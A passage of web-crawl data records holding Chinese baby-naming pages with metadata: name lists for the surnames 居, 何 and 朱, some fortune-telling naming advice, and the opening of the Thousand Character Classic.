0.07803609222173691}","num_words":913,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.249,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.927,"perplexity_score":500.0,"cluster_detection":1} +{"text":"更新时间:2023-11-05 17:16:47 来源:大家找算命网 作者:小幸运\n居桐 居芙 居君 居芹 居芊 居琴 居娟 居兰 居蛟 居楠 居莉 居雅 居英 居醉 居月 居筠 居倚 居桂\n居彦 居艺 居蓝 居竹 居茹 居葵 居琼 居芳 居柏 居莲 居嘉 居蕾 居荷 居芸 居菱 居芷 居梅 居谷\n居榆 居柯 居茵 居蓉 居奇 居卉 居颖 居卿 居檀 居芍 居雅 居芝 居枝 居花 居杏 居琪 居佳 居荣\n居槐 居琦 居枫 居莹 居桃 居婧 居菡 居绮 居樱 居薇 居语 居可 居孤 居林 居玉 居蕊 居莺 居娇\n居芬 居柳 居梦 居松 居桑 居萱 居婕 居菲 居月 居巧 居雁 居寄 居茜 居笛 居菊 居欣 居琳 居虹\n居若 居皎\n起名带有五行属木的名字,是指除了姓氏以外,您起的名字是五行属木的汉字。是需要起名的宝宝生辰八字喜神是木,才会起带有木属性的名字。\n姓氏起源:\n源流一,出自杜姓,以祖名为氏。\n源流二,源于姬姓,出自远古少昊思的后裔倍伐,属于以先祖封邑名称为氏。\n源流三,源于妫姓,出自战国时期齐国大夫香居,属于以先祖名字为氏。\n源流四,源于西夜国,出自古代西域地区的羌族分支悉居人,属于以氏族名称汉化为氏。","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/www.dajiazhao.com\/xingming\/nvqmdq\/53984.html","date":"2023-12-09T18:19:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100942.92\/warc\/CC-MAIN-20231209170619-20231209200619-00358.warc.gz","language":"lzh","language_score":0.4592519701,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.4592519700527191, \"cmn_Hani_score\": 0.3711473047733307, \"wuu_Hani_score\": 0.11501367390155792, \"nan_Hani_score\": 0.04696919396519661}","num_words":101,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.281,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.649,"perplexity_score":500.0,"cluster_detection":1} +{"text":"更新時間:2023-11-05 17:16:47 來源:大家找算命網 作者:小幸運\n居桐 居芙 居君 居芹 居芊 居琴 居娟 居蘭 居蛟 居楠 居莉 居雅 居英 居醉 居月 居筠 居倚 居桂\n居彥 居藝 居藍 居竹 居茹 居葵 居瓊 居芳 居柏 居蓮 居嘉 居蕾 居荷 居蕓 居菱 居芷 居梅 居谷\n居榆 居柯 居茵 居蓉 居奇 居卉 居穎 居卿 居檀 居芍 居雅 居芝 居枝 居花 居杏 居琪 居佳 居榮\n居槐 居琦 居楓 居瑩 居桃 居婧 居菡 居綺 居櫻 居薇 居語 居可 居孤 居林 居玉 居蕊 居鶯 居嬌\n居芬 居柳 居夢 居松 居桑 居萱 居婕 居菲 居月 居巧 居雁 居寄 居茜 居笛 居菊 居欣 居琳 居虹\n居若 居皎\n起名帶有五行屬木的名字,是指除了姓氏以外,您起的名字是五行屬木的漢字。是需要起名的寶寶生辰八字喜神是木,才會起帶有木屬性的名字。\n姓氏起源:\n源流一,出自杜姓,以祖名為氏。\n源流二,源于姬姓,出自遠古少昊思的后裔倍伐,屬于以先祖封邑名稱為氏。\n源流三,源于媯姓,出自戰國時期齊國大夫香居,屬于以先祖名字為氏。\n源流四,源于西夜國,出自古代西域地區的羌族分支悉居人,屬于以氏族名稱漢化為氏。","id":"","dump":"CC-MAIN-2023-50","url":"http:\/\/www.relbittrade.com\/xingming\/nvqmdq\/53984.html","date":"2023-12-11T03:06:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679103464.86\/warc\/CC-MAIN-20231211013452-20231211043452-00480.warc.gz","language":"lzh","language_score":0.5588685274,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5588685274124146, \"cmn_Hani_score\": 0.3458792567253113, \"wuu_Hani_score\": 0.04720451310276985, \"nan_Hani_score\": 0.03736715391278267}","num_words":101,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.281,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.642,"perplexity_score":500.0,"cluster_detection":1} +{"text":"生肖年跟取名字有何关联\n何姓姓氏出自冒姓或赐姓。如汉时有叫何苗的,其本姓朱,冒姓何。北魏孝文帝迁都洛阳后,鲜卑复姓贺拔氏为单姓何氏。五代吐谷浑亦有何氏,吐谷浑亦作吐浑,为鲜卑的一支。元末吐蕃宣抚使锁南之子铭入明,被朝廷赐姓何氏,其后也有以何为姓的。现在何氏取名各种形式,那么何氏羊年宝宝如何取名呢?\n何氏羊年宝宝如何取名,一个好名字的标准:\n第一:五行帮自己,看自己的八字格局,适合什么五行,名字用什么五行。不能盲目凑高分,忽略这个五行是否适合自己。不适合的五行当名字,好比小人伴随一样,人生和内心不得安宁。\n第二:人格,地格,外格,总格都吉利不能有短寿数理,动荡数理。\n第三:数理能补益八字格局的不足,比如命理财运少,用财运多的数理,比如命运婚姻不好,用家庭美满的数理。\n第四:女孩起名,更是需要严格精密,八字婚姻宫不利的,一定不能有对婚姻不利的数理,比如 28 26等数理。\n何氏羊年宝宝如何取名名字大全:\n何姓男孩名字大全:\n何泽西 何伟元 何伟锋 何仁双 何宇鑫 何运浩 何臣保 何振楠 何佳馨 何伟仲 何瀚绪 何二飞 何业飞 何暑良 何勇锋 何要平 何宝东 何偉傑 何凉辰 何星忠 何虹君 何健就 何海根 何宪翔 何勇基 何沁虓 何占海 何玉泉 何杰仔 何昊洋 何志德 何丞 何海禄 何真祥 何显亮 何烁 何庚文 何碧火 何锦泉 何长引 何春烊 何捧召 何稼祥 何挨宽 何奕成 何树维 何亚仁 何正成 何厚江 何胜浩 何均国 何厚永 何士强 何军福 何述铭 何鈞祉 何义涛 何子忠 何丞奂 何世美 何博林 何泰平 何湘会 何熙杰 何在俊 何贻光 何飞雁 何德枞 何耕諒 何虹飞 何对对 何耀川 何以琛 何振文 何克增 何频 何丽园 何献刚 何彤彤 何迈 何道辉 何爱迪 何霜国 何月珍 何瑞兰 何祚兴 何镕赫 何森科 何亭宝 何大龙 何梓诺 何茂荣 何忠广 何俊艺 何帛歧 何晓午 何俊傑 何济宁 何晓霞 何蓓亮 何瀚 何擒彪 何鹤 何三祥 何春乐 何翠刚 何春丰 何潮杰 何紫 何小苗\n何姓女孩名字大全:\n何勋霞 何玉清 何梓祺 何开亮 何瑜菲 何爱英 何琼珠 何胜春 何庆芹 何歆颖 何唯 何大玲 何赛雅 何姣姣 何琚蔚 何焰红 何晴旻 何静培 何兴妹 何瑞萌 何宇歆 何曼珊 何帅聪 何九九 何昱秀 何治全 何爱璎 何巧花 何汶秀 何小素 何思蕊 何瑞笛 何铌 何婷洁 何铭遥 何姝蓉 何翠珍 何香妍 何秀華 何玉拉 何久顺 何昱菲 何天杰 何原敏 何锦鸿 何湘滇 何育苗 何京袁 何亓 何丹花 何颖娴 何虹林 何达佳 何小垒 何清宇 何延华 何小时 何佳喻 何建笙 何莹英 何妙英 何旭锦 何思奕 何沛衡 何皓琳 何钰芝 何嘉昕 何慧芯 何衍余 何瑞燕 何彬彬 何慧美 何迪迪 何会颖 何骐萌 何彩虹 何芳果 何乃梅 何奇桐 何钦婷 何考妺 何艳妮 何雯荔 何佳越 何昉彧 何昱乃 何建维 何丽春 何寒露 何欣言 何登科 何占琪 何雪麟 何婉姗 何传香 何月彤 何玉荣 何海燚 何永洁 何酉芬 何进荣 何逸芳 何沛燕 何新宇 何宴伶 何妍在 何札丽 何婧琨 何培国 何幼萍\n何氏羊年宝宝取名需寓意深刻,好听,易记,简洁;没有生僻字,简单明了,有意义;名字好写,新颖,好记,不拗口,不易联想起外号。这样的名字才是好名字。","id":"","dump":"CC-MAIN-2017-47","url":"http:\/\/name.388g.com\/zhishi\/167.html","date":"2017-11-18T13:47:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-47\/segments\/1510934804965.9\/warc\/CC-MAIN-20171118132741-20171118152741-00231.warc.gz","language":"lzh","language_score":0.856581986,"language_script":"Hani","minhash_cluster_size":12,"top_langs":"{\"lzh_Hani_score\": 0.85658198595047, \"cmn_Hani_score\": 0.12320205569267273, \"nan_Hani_score\": 0.019929446280002594}","num_words":232,"character_repetition_ratio":0.004,"word_repetition_ratio":0.0,"special_characters_ratio":0.221,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.929,"perplexity_score":500.0,"cluster_detection":1} +{"text":"千字文梁 敕员外散骑侍郎 周兴嗣 撰 天地玄黄 宇宙洪荒 日月盈昃 辰宿列张 寒来暑往 秋收冬藏 闰余成岁 律召调阳 云腾致雨 露结为霜 金生丽水 玉出昆岗 剑号巨阙 珠称夜光 果珍李柰 菜重芥姜 海咸河淡 鳞潜羽翔 龙师火帝 鸟官人皇 始制文字 乃服衣裳 推位让国 有虞陶唐 吊民伐罪 周发殷汤 坐朝问道 垂拱平章 爱育黎首 臣伏戎羌 遐迩壹体 率宾归王 鸣凤在树 白驹食场 化被草木 赖及万方 盖此身发 四大五常 恭惟鞠养 岂敢毁伤 女慕贞洁 男效才良 知过必改 得能莫忘 罔谈彼短 靡恃己长 信使可覆 器欲难量 墨悲丝染 诗赞羔羊 景行维贤 克念作圣 德建名立 形端表正 空谷传声 虚堂习听 祸因恶积 福缘善庆 尺辟非宝 寸阴是竞 资父事君 曰严与敬 孝当竭力..","id":"","dump":"CC-MAIN-2018-05","url":"http:\/\/esk365.com\/guoxue\/gxshow.asp?id=uxyt9wzo","date":"2018-01-20T15:04:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084889660.55\/warc\/CC-MAIN-20180120142458-20180120162458-00740.warc.gz","language":"lzh","language_score":0.504955411,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.5049554109573364, \"cmn_Hani_score\": 0.41677772998809814, \"nan_Hani_score\": 0.03325021266937256, \"yue_Hani_score\": 0.02200564369559288, \"wuu_Hani_score\": 0.01188791636377573, \"jpn_Jpan_score\": 0.010873157531023026}","num_words":67,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.203,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.505,"perplexity_score":500.0,"cluster_detection":1} +{"text":"朱姓男孩取名,姓朱的男孩名字大全\n朱姓在中国的历史上曾经建立过两个王朝,分别是五代时期的朱温建立的后梁和朱元璋建立的明朝。而在《百家姓》中,朱姓是排行第十七位,是一个人口超过千万的中文姓氏。如果要起朱姓的男孩名字,你都能想到哪些好名字呢?不妨来借鉴一下吧。\n朱书军 朱书君 朱 晋 朱梦荫 朱倬萌 朱玺志 朱倬语 朱 令 朱庆晋 朱 荫 朱 梦 朱 勇 朱凌宇 朱汝明 朱玉周 朱 德 朱 凌 朱介东 朱方杰 朱 桦 朱文慧 朱 苓 朱德芹 朱秀华 朱皓天 朱 刚 朱国光 朱钧秀 朱俊秀 朱沐灵 朱沐轩 朱凌辰 朱祖伟 朱宁银 朱 焰 朱 岩 朱 雁 朱 言 朱 焉 朱 胭\n朱明新 朱 旗 朱宇凯 朱弨瑷 朱祎平 朱彦阳 朱璐银 朱璐琛 朱璐宁 朱沁璐 朱锦璐 朱宁璐 朱 丹 朱炳谕 朱理斌 朱苏晋 朱艺青 朱星燃 朱秀雨 朱一诺 朱思诺 朱立君 朱 磊 朱俪君 朱美臻 朱 毅 朱容基 朱春来 朱令尧 朱利君 朱 哲 朱 浙 朱 威 朱 涣 朱丽珺 朱 耀 朱 洙 朱 强 朱志伟 朱君逸 朱 浩 朱 泽 朱 瀚 朱瀚宇 朱 吉 朱 海 朱国利 朱 伟 朱 贺 朱玉曦 朱 芸 朱 洵 朱 云 朱 浔 朱 锦 朱 晔 朱 澈 朱 彻 朱 茵 朱江洲 朱 宇 朱 渝 朱 凡 朱 平 朱泽平 朱 妮 朱 化 朱新民 朱廷宗 朱仁献 朱廷佐 朱艳清 朱耀毅 朱文晶 朱炳刚 朱昱静 朱国祥 朱成泰 朱 立 朱廷俞 朱 高 朱泳锌 朱 同 朱铮铮 朱振驰 朱 聚 朱刚烽 朱俞烽 朱 承 朱 熹 朱仲祥 朱 奕 朱 怿 朱泳锓 朱 炎 朱 延 朱昭俞 朱 研 朱炳祥 朱 焱 朱 今 朱泓宇 朱苡柔 朱向彤 朱雪邻 朱 正 朱馨颜 朱彦萱 朱静若 朱馨若 朱冰钰 朱馨钰 朱啸天 朱雪霖 朱槿钰 朱笑天 朱孝天 朱员慧 朱 槿 朱罡毅 朱雪麟 朱若彤 朱相凤 朱雪林 朱漪莲 朱雪临 朱璋卉 朱庆凤 朱 盈 朱周伟 朱佳琪 朱胤之 朱雪域 朱泰山 朱雪荔 朱 茜 朱 熙 朱雪灵 朱 蕾 朱芳蝶 朱家旺 朱 军 朱 宏 朱 杰 朱雨沫 朱学军 朱晓乐 朱轩扬 朱嘉炜 朱君涛 朱 纯 朱思尧 朱龙根 朱 卫 朱弈好 朱书岐 朱迎君 朱 赫 朱艳平 朱子珊 朱 静 朱可欣 朱 煜 朱 烨 朱 治 朱安然 朱 帆 朱 瑞 朱天然 朱 志 朱 硕 朱旭超 朱旭鹏 朱 澄 朱小宝 朱 唯 朱 略 朱海泉 朱 达 朱汇集 朱思诲 朱 彦 朱国日 朱 宝 朱 序 朱席宽 朱晓熙 朱骏辉 朱国晋 朱 诩 朱建群 朱 蓄 朱益欣 朱汇令 朱紫青 朱 青 朱书华 朱 进 朱爱秋 朱茜影 朱新华 朱雪仪 朱仙珍 朱 鼎 朱 然 朱 陆 朱胜军 朱黎昂 朱 伦 朱 畅 朱培元 朱 桥 朱 维 朱纯宝 朱洪生 朱丹若 朱丰博 朱静月 朱群秀 朱万丰 朱益群 朱静萱 朱乐垚 朱静渲 朱景凯 朱家慧 朱丽叶 朱雅若 朱若雅 朱 姝 朱瑾钰 朱本根 朱建府 朱樱若 朱相龙 朱洪财 朱语涵 朱万荣 朱岫影 朱影萱 朱津津 朱桢懿 朱雅涓 朱汶镈 朱潋月 朱静璇 朱远星 朱静娴 朱雅月 朱友全 朱承言 朱蕊彤 朱奕瑾 朱蕊桢 朱立斌 朱漪萱 朱佳璇 朱佳颜 朱潋钰 朱馨蕊 朱语箴 朱语桢 朱若伶 朱佳彤 朱瑾娴 朱芊柔 朱禹檀 朱漪芊 朱智慧 朱佳萱 朱白洹 朱京多 朱春生 朱佳诺 朱意若 朱雅诺 朱绮月 朱若涵 朱若晗 朱 玮 朱平淏 朱亚峰 朱蕊懿 朱蕊璇 朱蕊萱 朱凯光 朱 颜 朱馨懿 朱苡蝶 朱国飞 朱米汶 朱若蝶 朱米沛 朱西瑞 朱懿蝶 朱静懿 朱爱锦 朱铭凡 朱静奕 朱雅娴 朱雅彤 朱雅童 朱佳钰 朱百淖 朱佳懿 朱百淏 朱名淼 朱铭钒 朱名淳 朱至圣 朱漪月 朱懿月 朱洁蕊 朱彦音 朱彦荫 朱沂淏 朱铭辉 朱彦芮 朱京福 朱金福 朱爱菊 朱秋飒 朱雅凝 朱雅宁 朱雅菲 朱雅颜 朱金富 朱雪宁 朱雪凝 朱 玫 朱雨菲 朱雪菲 朱奉彪 朱雪彤 朱珂广 朱雪懿 朱嘉仪 朱乐仪 朱良良 朱晔仪 朱晔怿 朱乐怿 朱 冬 朱嘉怿 朱佳昱 朱嘉昱 朱嘉璇 朱豪杰 朱龙珍 朱 林 朱振凡 朱俊豪 朱震凡 朱余秋 朱传雄 朱伊秋 朱艾秋 朱传迪 朱深秋 朱 琦 朱益秋 朱传狄 朱小乐 朱佳朕 朱奕秋 朱弈秋 朱金秋 朱亚敏 朱淑秋 朱鸿飞 朱贤永 朱静雯 朱秀仙 朱 波 朱思全 朱雅坤 朱亮亮 朱仕侠 朱登坤 朱嘉俊 朱靖萌 朱嘉钧 朱嘉豪 朱嘉骏 朱嘉军 朱嘉君 朱中法 朱耀阳 朱兰静 朱耀华 朱岳阳 朱晓阳 朱 涛 朱小阳 朱尧阳 朱 阳 朱繁华 朱凡华 朱代磊 朱华东 朱彦薇 朱彦尹 朱彦依 朱径乐 朱彦琪 朱彦欢 朱玉杰 朱彦扬 朱卫华 朱彦洋 朱彦玫 朱彦艺 朱彦虹 朱彦清 朱彦青 朱彦茵 朱锦秀 朱彦景 朱 星 朱彦馨 朱彦香 朱本华 朱利华 朱明华 朱彦芊 朱 峰 朱华鼎 朱彦丹 朱华町 朱彦彤 朱泰宁 朱彦冰 朱宁月 朱凝月 朱华强 朱华建 朱建忠 朱语优 朱华宇 朱汉城 朱 洋 朱华语 朱夕颜 朱天华 朱茵樱 朱舜华 朱樱茵 朱 皓 朱顺华 朱星原 朱汉圳 朱永吉 朱华黎 朱吉华 朱 墨 朱吴华 朱华南 朱涵圳 朱星洋 朱中华 朱南阳 朱类类 朱建全 朱雅峥 朱洛桐 朱丽鹃 朱华学 朱 斌 朱华瑜 朱家华 朱克勤 朱冠华 朱 昊 朱 一 朱睿华 朱智华 朱 炜 朱瑞华 朱华睿 朱华瑞 朱 昌 朱东岳 朱国桢 朱岱阳 朱 铧 朱 凯 朱华至 朱宇霖 朱华治 朱华知 朱汉宇 朱华正 朱嘉华 朱 纬 朱甲华 朱汉阳 朱寓华 朱华成 朱汉羽 朱酝华 朱晓琦 朱运华 朱夫华 朱华夫 朱阳华 朱大利 朱奕萱 朱成宗 朱亚妮 朱向远 朱鹏飞 朱建强 朱佳南 朱博宇 朱书奇 朱月华 朱 彤 朱元璋 朱国伟 朱峥珍 朱伽欣 朱丽仙 朱宇轩 朱珠时 朱红伟 朱建海 朱一心 朱玉仙 朱虔汐 朱子聪 朱天启 朱子萱 朱子璇 朱子芸 朱华平 朱子艺 朱赛乐 朱号萱 朱乐彤 朱鸽飞 朱心彤 朱艺彤 朱晋秋 朱宸菲 朱梦彤 朱晋葛 朱翰明 朱晋格 朱晋尔 朱 州 朱乐萱 朱劲松 朱紫畅 朱泽涵 朱妤嘉 朱宝萱 朱 天 朱予佳 朱 越 朱 跃 朱传祥 朱 轩 朱昭嘉 朱家夕 朱家诺 朱乔雅 朱效刚 朱家熙 朱家曦 朱敏敏 朱家琪 朱 球 朱金鸽 朱 建 朱有明 朱雨萌 朱文雄 朱维龙 朱 宁 朱 韵 朱煜萌 朱宏鑫 朱弘毅 朱泓鑫 朱铖鑫 朱碧云 朱光爱 朱鸣敏 朱清韵 朱保鑫 朱混混 朱 鹏 朱 源 朱 湘 朱 渔 朱 水 朱 粼 朱 潭 朱 玄 朱正清 朱 净 朱 祯 朱 涵 朱涵韵 朱富贵 朱 凝 朱陆明 朱你好 朱艺好 朱 俏 朱甜甜 朱一好 朱亦好 朱漪好 朱妮好 朱田田 朱恬恬 朱奕好 朱嵛湉 朱嵛忝 朱嵛恬 朱乐乐 朱圆圆 朱子佩 朱佩言 朱恩东 朱菁菁 朱昂迪 朱 爵 朱昂爵 朱玉雯 朱爵乐 朱 爱 朱薏茜 朱凌华 朱薏阡 朱艳灵 朱艺茜 朱小强 朱泽华 朱苗苗 朱 福 朱益娴 朱玉清 朱 叶 朱芳菲 朱昱润 朱 芹 朱恩霆 朱琼宇 朱唯嘉 朱春华 朱奕翔 朱文军 朱红强 朱文宝 朱荣军 朱 康 朱文君 朱小于 朱 律 朱爱于 朱爱愈 朱爱瑜 朱晓瑜 朱圯蔓 朱雯菲 朱薏曼 朱慕岐 朱 岐 朱岐一 朱岐葛 朱岐当 朱立岐 朱米岐 朱米田 朱文祥 朱乐岐 朱鸿霄 朱爵岐 朱浩岐 朱奥岐 朱翱岐 朱澳岐 朱凹岐 朱欧岐 朱备伦 朱杰林 朱伟林 朱备豪 朱备帝 朱揶爱 朱文健 朱长生 朱玉凤 朱备仁 朱国强 朱钟杰 朱 鹰 朱文泰 朱 侃 朱 安 朱 呆 朱 人 朱达人 朱 耳 朱 力 朱觉梦 朱瑞青 朱泰然 朱瑞卿 朱建设 朱锦平 朱瑞仕 朱梓凡 朱洪志 朱元祥 朱亚永 朱立朋 朱梓宇 朱安岐 朱玄岐 朱曳岐 朱尚岐 朱上岐 朱卡岐 朱阳岐 朱沐岐 朱 鸽 朱 尕 朱金尕 朱坤城 朱坤场 朱加觉 朱坤坚 朱坤堡 朱坤培 朱加爵 朱嘉爵 朱嘉觉 朱艺嘉 朱常林 朱震天 朱禾凯 朱凯宇 朱九冀 朱长安 朱钰田 朱洪斌 朱性荣 朱起赓 朱高葑 朱 战 朱长印 朱濠萦 朱静雷 朱鹏刚 朱洁萦 朱堂成 朱旖蝶 朱奕蝶 朱奕蓥 朱雪峰 朱佳滢 朱雅滢 朱瑞峥 朱蕊峥 朱 若 朱丽珍 朱陵丘 朱俊杰 朱佳彦 朱俊锋 朱逢祥 朱 恒 朱家绮 朱汉斌 朱 辰 朱笑薇 朱云为 朱 佳 朱烨嘉 朱笑为 朱召嘉 朱云威 朱云未 朱云唯 朱蕴唯 朱蕴韦 朱昭奋 朱允未 朱允为 朱昭分 朱韵为 朱韵玮 朱韵蔚 朱韵唯 朱昭玢 朱韵尉 朱韵炜 朱智能 朱韵味 朱韵韦 朱永发 朱育良 朱翔宇 朱晓宇 朱峻立 朱雨暄 朱雨宣 朱玉轩 朱诗灯 朱凯琦 朱土根 朱永法 朱雨冰 朱雅璎 朱海兰 朱维杰 朱朝阳 朱锡飞 朱承军 朱宽军 朱沁林 朱沁洋 朱子欣 朱成轩 朱金镇 朱利威 朱成林 朱慧敏 朱恒利 朱正元 朱国平 朱丽新 朱茗岳 朱帛鑫 朱鸣越 朱鸣跃 朱家浩 朱漫虹 朱名说 朱如清 朱子洵 朱宣安 朱镁跫 朱名岳 朱子涵 朱春园 朱明岳 朱煊安 朱林平 朱悠然 朱聪骄 朱姝尧 朱军羽 朱卜睿 朱 娣 朱真俊 朱名阅 朱桂凤 朱明越 朱名粤 朱鸿华 朱明月 朱勤旗 朱星灵 朱惠明 朱睿彤 朱楚菲 朱晓娣 朱乐笛 朱一号 朱高慧 朱金哲 朱朝旺 朱金择 朱晓慧 朱筠清 朱金泽 朱昱宁 朱文明 朱漫宏 朱择熠 朱 择 朱昶瑞 朱慧贞 朱艳秋 朱 仰 朱千娇 朱春辉 朱晨茜 朱 慧 朱伟杰 朱选玫 朱平洲 朱选雯 朱红玫 朱宏玫 朱城宇 朱 宵 朱丽屏 朱俞霖 朱 逸 朱毅尧 朱奕卓 朱奕乐 朱逸馨 朱逸欣 朱邦刘 朱新根 朱晓翠 朱元旭 朱世锋 朱 巍 朱俐俐 朱大江 朱雅风 朱由欣 朱天午 朱科臣 朱春涛 朱国凤 朱旭明 朱佳妮 朱剑春 朱晓凡 朱亭轩 朱 坚 朱单岐 朱梅珍 朱静明 朱奕锦 朱毅轩 朱蝶飞 朱松强 朱九龙 朱亚明 朱冠仪 朱亚民 朱茗瑞 朱建路 朱九喜 朱炼钢 朱健露 朱健禄 朱俣桦 朱学森 朱羿达 朱 钰 朱则希 朱泽希 朱丹妮 朱柯缙 朱 洪 朱志军 朱志君 朱家亮 朱智君 朱柯霖 朱智军 朱雨彤 朱嘉亮 朱立荣 朱加亮 朱雨沁 朱佳晋 朱佳亮 朱雪影 朱甲亮 朱 祥 朱家靓 朱 项 朱沁轩 朱雪淇 朱 翔 朱爱虹 朱雨沐 朱 雨 朱耿乐 朱红璋 朱雨凝 朱语凝 朱华军 朱奕歆 朱永华 朱潜影 朱泽雨 朱芸萱 朱泽彤 朱泽一 朱泽歆 朱泽欣 朱泽潜 朱泽卉 朱泽君 朱晓礼 朱婉清 朱叶清 朱清彤 朱清欣 朱红波 朱许恒 朱以恒 朱煦旸 朱海心 朱许皓 朱许佩 朱许彤 朱许辉 朱芷睿 朱许泽 朱许浒 朱许驰 朱 许 朱言午 朱许慧 朱许愿 朱蕴辉 朱许可 朱柏溢 朱许越 朱元章 朱许多 朱许诺 朱钊成 朱许久 朱许氏 朱永昌 朱清吟 朱许乐 朱许秋 朱许巍 朱永祥 朱许良 朱红有 朱许超 朱许晖 朱许宁 朱许毅 朱永辉 朱 蕊 朱许征 朱普昊 朱许远 朱欣灿 朱许扬 朱爱彬 朱许阳 朱紫天 朱 华 朱许微 朱许洋 朱乐迎 朱乐盈 朱乐茵 朱奕茵 朱子天 朱思燃 朱海茵 朱含茵 朱永光 朱增华 朱露露 朱乔昆 朱茵茵 朱严鑫 朱章齐 朱 希 朱汝希 朱希龙 朱希荣 朱希吟 朱希蓥 朱 蓥 朱晓蓥 朱晓荣 朱晓晨 朱奕晨 朱弈晨 朱小晨 朱蕊含 朱晓惠 朱萌萌 朱天宸 朱展颜 朱珈仪 朱珈成 朱天晨 朱海亮 朱昱屹 朱许航 朱浩浩 朱柏瑞 朱家宁 朱亚寅 朱许琪 朱许旭 朱许铭 朱玺弘 朱许凡 朱康瑞 朱许健 朱许杰 朱亚兴 朱清音 朱许酉 朱许弘 朱许然 朱晨阳 朱许迅 朱珍莲 朱许言 朱许炎 朱许佳 朱许艺 朱 宸 朱 臻 朱 真 朱 朕 朱 缜 朱 甄 朱 箴 朱 阵 朱 镇 朱厚成 朱 振 朱敏强 朱 榛 朱敏刚 朱 轸 朱 蓁 朱培涵 朱静波 朱荣华 朱 桢 朱 岚 朱振宇 朱 誉 朱丽彗 朱可星 朱 琛 朱杰妮 朱永星 朱子辰 朱子晨 朱婕妮 朱子郴 朱思达 朱玉辰 朱玉宸 朱玉琛 朱荣生 朱喜平 朱益弘 朱琪轩 朱子墨 朱子漠 朱祺轩 朱启轩 朱萁轩 朱应发 朱俊希 朱子瑜 朱继鸿 朱 骥 朱依宏 朱昌明 朱雨晨 朱 兵 朱乐儿 朱中廷 朱本末 朱文鑫 朱麦乐 朱妮萱 朱昵萱 朱 信 朱长龙 朱寿信 朱寿坚 朱培培 朱旭基 朱 印 朱又冰 朱 影 朱 芮 朱 亮 朱世达 朱 芺 朱雄雅 朱 镔 朱家宏 朱颌云 朱立光 朱丽嘉 朱丽禅 朱应通 朱珊峰 朱丽晓 朱琦琛 朱嘉宏 朱家鸿 朱菊华 朱徐乐 朱令令 朱伟明 朱雨晴 朱 满 朱满儿 朱东楚 朱宝儿 朱鹏涛 朱志丹 朱宣辉 朱 菲 朱晓彤 朱一彤 朱仕雅 朱 雅 朱满乐 朱珠哲 朱星晨 朱秀晴 朱小安 朱晓安 朱子安 朱子晴 朱艺安 朱艺旋 朱艺璇 朱彤彤 朱庆焱 朱 晴 朱 童 朱小芸 朱依彤 朱秀黎 朱晶良 朱敏聪 朱 萌 朱万金 朱春香 朱国旺 朱丽清 朱兆隆 朱婉情 朱镕基 朱小卉 朱景成 朱进杰 朱俊贤 朱天烨 朱长春 朱书成 朱学群 朱祥景 朱和贵 朱至易 朱昭君 朱益民 朱致易 朱剑锋 朱晓辉 朱 至 朱致一 朱佳宇 朱德江 朱梦渊 朱耀托 朱自豪 朱相君 朱长杰 朱湘君 朱 阗 朱筱寅 朱翌炜 朱智山 朱凌寒 朱 荧 朱净荧 朱静宜 朱 利 朱勇莨 朱咏良 朱维旺 朱咏梁 朱勇梁 朱清炜 朱炜清 朱 彬 朱天禄 朱喜薇 朱熙昱 朱筠儿 朱筠恩 朱筠熙 朱友良 朱旭岑 朱有良 朱涌良 朱勇粮 朱勇踉 朱立骋 朱善正 朱洪涛 朱洪勇 朱洪永 朱宏涛 朱长城 朱世纪 朱晓天 朱世季 朱盼鸿 朱佳骏 朱春河 朱丞煜 朱俊丞 朱绍福 朱 健 朱宝瑞 朱鹏翔 朱天如 朱洪柏 朱俊逸 朱立华 朱铭函 朱龙丰 朱铭晗 朱 铭 朱郁杰 朱宇铭 朱隆基 朱铭涵 朱月涵 朱龙锋 朱小鹏 朱锦涛 朱爱平 朱姗姗 朱 豫 朱靖雅 朱书镔 朱 东 朱丽惠 朱 曦 朱丽华 朱 旭 朱月桐 朱群裕 朱 乾 朱清平 朱忠鹏 朱 路 朱依清 朱统勋 朱 晨 朱云奇 朱新昉 朱新遥 朱新然 朱新扬 朱新越 朱新忆 朱新易 朱新朕 朱 琰 朱新力 朱新奕 朱伟国 朱景涛 朱建国 朱景菲 朱 培 朱剑翔 朱军琦 朱丹丹 朱丹青 朱丹静 朱丹阳 朱泓远 朱亚丹 朱晓亮 朱玉佳 朱子明 朱坷欣 朱可旭 朱泓臻 朱玉珍 朱天晟 朱天宇 朱荣山 朱兴宇 朱 灵 朱 伶 朱 翎 朱雨鑫 朱雨涵 朱必胜 朱亚灵 朱 薇 朱 雯 朱 成 朱政道 朱涵洳 朱晓涵 朱洁渝 朱若冰 朱李双 朱 霏 朱雨霏 朱昱宇 朱瑞熠 朱语霏 朱瑞昱 朱珂歆 朱 尧 朱洁霏 朱洁雯 朱 甜 朱思玮 朱 珠 朱休妁 朱兴昌 朱 乐 朱心仪 朱九凤 朱偲翔 朱长怀 朱启庚 朱耀海 朱明麒 朱祖阳 朱 庆 朱焕斌 朱 菁 朱柏风 朱荥阳 朱文侠 朱平阳 朱逸阳 朱来兴 朱熙共 朱伟女 朱炜女 朱惠女 朱涛阳 朱违女 朱柏铭 朱泓涛 朱泓阳 朱秋珍 朱泳晓 朱振洪 朱文杰 朱致远 朱振弘 朱振鸿 朱振宏 朱玮女 朱振泓 朱慧女 朱蕙女 朱晖女 朱国辰 朱傲杰 朱敖杰 朱紫萱 朱海云 朱云枫 朱 